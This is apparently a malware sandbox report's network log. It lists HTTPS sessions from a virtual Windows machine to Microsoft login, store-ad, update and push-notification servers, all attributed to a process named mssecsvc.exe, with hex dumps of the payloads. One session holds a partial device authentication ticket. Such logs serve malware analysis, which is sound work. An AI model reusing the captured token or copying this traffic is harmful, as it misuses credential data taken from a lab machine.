2022-07-21 02:34:21 UTC	82	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:33:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: b2b742d5-2f74-482a-9079-d04989015525 PPServer: PPV: 30 H: BL02PF47F821D39 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:34:20 GMT Connection: close Content-Length: 11316
2022-07-21 02:34:21 UTC	83	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	51717	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:24 UTC	8833	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113430Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:24 UTC	8834	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 62c83974-1582-4799-8281-6032a9425410 Date: Thu, 21 Jul 2022 02:35:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	51759	20.199.120.182	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:25 UTC	8834	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 35 32 61 34 39 63 65 65 32 30 31 36 66 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: cc52a49cee2016f2
2022-07-21 02:35:25 UTC	8834	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:35:25 UTC	8834	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 35 32 61 34 39 63 65 65 32 30 31 36 66 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: cc52a49cee2016f2<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:35:25 UTC	8835	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 35 32 61 34 39 63 65 65 32 30 31 36 66 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: cc52a49cee2016f2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:35:25 UTC	8835	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:35:25 UTC	8835	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 78 6a 37 2f 59 2f 48 4b 30 4f 53 50 33 70 31 31 4c 64 35 31 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0xj7/Y/HK0OSP3p11Ld51g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	51760	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:25 UTC	8835	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113436Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:25 UTC	8836	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c32360d7-78ea-4bb3-88a2-ed39c4e75aff Date: Thu, 21 Jul 2022 02:35:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	51763	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:25 UTC	8836	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113437Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:26 UTC	8837	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9d121507-7550-4227-9fb9-7642c5785828 Date: Thu, 21 Jul 2022 02:35:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	51805	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:26 UTC	8837	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113438Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:26 UTC	8837	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c89fe209-efee-4d9a-b404-7e4e5a40906e Date: Thu, 21 Jul 2022 02:35:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	51808	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:26 UTC	8838	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113440Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:27 UTC	8838	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 10767a87-83ef-4d77-82bf-c0479fcd9b6e Date: Thu, 21 Jul 2022 02:35:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	51945	20.54.89.106	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:29 UTC	8838	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:30 UTC	8839	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 7daad2c7-e0e5-4af0-b0b4-136f82f9e614 MS-RequestId: 7ced9389-a090-4060-b3d7-81e3782ff952 MS-CV: OJ4h4MdyTEechGlA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:29 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:30 UTC	8839	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:30 UTC	8855	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:30 UTC	8871	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	51851	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:32 UTC	8874	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113441Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:32 UTC	8875	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 0d4d4bae-c201-4052-8ff8-75871a04dd7b Date: Thu, 21 Jul 2022 02:35:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	52042	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:32 UTC	8875	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113441Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:32 UTC	8876	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2666f65c-353b-48cd-98a6-7b780e63d6e0 Date: Thu, 21 Jul 2022 02:35:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	52038	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:32 UTC	8876	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:32 UTC	8876	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: f641f27c-35db-42f8-84b2-98029d79122c MS-RequestId: 760d2c1e-cb55-413c-9d39-69066d438c7e MS-CV: HskO9Zo9IkKzvBj9.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:31 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:32 UTC	8877	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:32 UTC	8892	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:32 UTC	8908	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	50186	20.190.159.4	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:21 UTC	77	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4659 Host: login.live.com
2022-07-21 02:34:21 UTC	77	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
